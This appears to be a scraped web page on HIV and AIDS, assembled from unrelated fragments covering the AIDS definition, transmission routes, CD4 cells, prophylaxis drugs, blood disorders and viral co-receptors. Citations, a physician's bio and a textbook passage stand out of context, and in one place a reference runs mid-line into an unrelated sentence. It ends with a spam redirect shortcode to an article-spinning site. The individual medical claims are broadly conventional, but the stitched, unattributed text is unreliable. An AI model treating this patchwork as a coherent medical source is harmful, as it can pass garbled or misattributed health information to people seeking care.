AIDS is currently defined as an illness characterised by the development of one or more AIDS-indicating conditions. It is diagnosed in people infected with HIV when they develop certain opportunistic infections or malignancies for the first time. The following list relates to diagnosis in adults. Congenital HIV and Childhood AIDS has its own separate article.
Jump up ^ Hallenberger S, Bosch V, Angliker H, Shaw E, Klenk HD, Garten W (November 26, 1992). “Inhibition of furin-mediated cleavage activation of HIV-1 glycoprotein gp160”. Nature. 360 (6402): 358–61. Bibcode:1992Natur.360..358H. doi:10.1038/360358a0. PMID 1360148.
The sexual partners and drug injecting partners of people diagnosed with HIV infection have an increased probability of also being HIV-positive. WHO recommends assisted HIV partner notification services as a simple and effective way to reach these partners, many of whom are undiagnosed and unaware of their HIV exposure, and may welcome support and an opportunity to test for HIV.
Once in the body, HIV attaches to several types of white blood cells. The most important are certain helper T lymphocytes (T cells). Helper T lymphocytes activate and coordinate other cells of the immune system. On their surface, these lymphocytes have a receptor called CD4, which enables HIV to attach to them. Thus, these helper lymphocytes are designated as CD4+.
The infected person frequently gets infections and even some forms of cancer which a healthy immune system would have gotten rid of quite easily. These infections are known as opportunistic infections. HIV infection, once established, cannot be eliminated by the body or by drugs.
AIDS is caused by a virus called the Human Immunodeficiency Virus (HIV). If you get infected with HIV, your body will try to fight the infection. It will make “antibodies,” special immune molecules the body makes to fight HIV.
If the CD4 count drops below 50 cells per microliter of blood, azithromycin taken weekly or clarithromycin taken daily may prevent Mycobacterium avium complex infections. If people cannot take either of these drugs, they are given rifabutin.
Human immunodeficiency virus infection and AIDs can cause a plethora of hematologic problems. Early on during HIV infection, immune thrombocytopenia is common as is the development of antiphospholipid antibodies. Anemia is the most common manifestation of HIV infection and is multifactorial due to both direct and indirect effects of the virus.12 Anemia is most often a hypoproliferative, low reticulocyte anemia due to anemia of chronic disease. Often, there is a blunted erythropoietin response. Coombs-positive autoimmune hemolytic anemia also occurs with increased frequency in HIV infection. Antiretroviral therapy often causes macrocytosis.
Blood contamination. HIV may also be spread through contact with infected blood. However, due to the screening of blood for evidence of HIV infection, the risk of acquiring HIV from blood transfusions is extremely low.
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Lennox JL, DeJesus E, Lazzarin A, et al. Safety and efficacy of raltegravir-based versus efavirenz-based combination therapy in treatment-naive patients with HIV-1 infection: a multicentre, double-blind randomised controlled trial. Lancet. 2009 Sep 5. 374(9692):796-806. [Medline].
Jump up ^ Beard, J; Feeley, F; Rosen, S (November 2009). “Economic and quality of life outcomes of antiretroviral therapy for HIV/AIDS in developing countries: a systematic literature review”. AIDS Care. 21 (11): 1343–56. doi:10.1080/09540120902889926. PMID 20024710.
The spread of HIV by exposure to infected blood usually results from sharing needles, as in those used for illicit drugs. HIV also can be spread by sharing needles for anabolic steroids to increase muscle, tattooing, and body piercing. To prevent the spread of HIV, as well as other diseases, including hepatitis, needles should never be shared. At the beginning of the HIV epidemic, many individuals acquired HIV infection from blood transfusions or blood products, such as those used for hemophiliacs. Currently, however, because blood is tested for both antibodies to HIV and the actual virus before transfusion, the risk of acquiring HIV from a blood transfusion in the United States is extremely small and is considered insignificant.
Jump up ^ Herek, GM; Capitanio, JP; Widaman, KF (March 2002). “HIV-related stigma and knowledge in the United States: prevalence and trends, 1991–1999”. American Journal of Public Health. 92 (3): 371–7. doi:10.2105/AJPH.92.3.371. PMC 1447082 . PMID 11867313.
The Centers for Disease Control has defined AIDS as beginning when a person with HIV infection has a CD4 cell (also called “t-cell”, a type of immune cell) count below 200. It is also defined by numerous opportunistic infections and cancers that occur in the presence of HIV infection.
Additional precautions – people living with AIDS should be extra cautious to prevent exposure to infection. They should be careful around animals and avoid coming into contact with cat litter, animal feces, and birds, too. Meticulous and regular washing of hands is recommended. These precautions are not as necessary while taking therapy.
Jump up ^ MacArthur, G. J.; Minozzi, S.; Martin, N.; Vickerman, P.; Deren, S.; Bruneau, J.; Degenhardt, L.; Hickman, M. (October 4, 2012). “Opiate substitution treatment and HIV transmission in people who inject drugs: systematic review and meta-analysis”. BMJ. 345 (oct03 3): e5945–e5945. perception in the United States about the seriousness of HIV has declined in recent years. There is evidence that risky behaviors may be increasing among uninfected people, especially gay and bisexual men. Pre-exposure prophylaxis (also known as PrEP) is a way to prevent becoming infected with HIV by taking a pill. When taken consistently, PrEP has been shown to reduce acquisition of HIV among people who are at substantial risk by up to 92%.6 Ongoing media campaigns—particularly those emphasizing HIV testing—and HIV prevention interventions for uninfected people who engage in risky behaviors (including PrEP where medically indicated) are critical. Efforts to diagnose people infected with HIV, get them virally suppressed, and provide prevention and support services are also vital.
Aaron Glatt, MD Professor of Clinical Medicine, New York Medical College; President and CEO, Former Chief Medical Officer, Departments of Medicine and Infectious Diseases, St Joseph Hospital (formerly New Island Hospital)
There are different variants of HIV, and the cell types that they infect are determined to a large degree by which chemokine receptor they bind as co-receptor. The variants of HIV that are associated with primary infections use CCR5, which binds the CC chemokines RANTES, MIP-1α, and MIP-1β (see Chapter 2), as a co-receptor, and require only a low level of CD4 on the cells they infect. These variants of HIV infect dendritic cells, macrophages, and T cells in vivo. However, they are often described simply as ‘macrophage-tropic’ because they infect macrophage but not T-cell lines in vitro and the cell tropism of different HIV variants was originally defined by their ability to grow in different cell lines. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]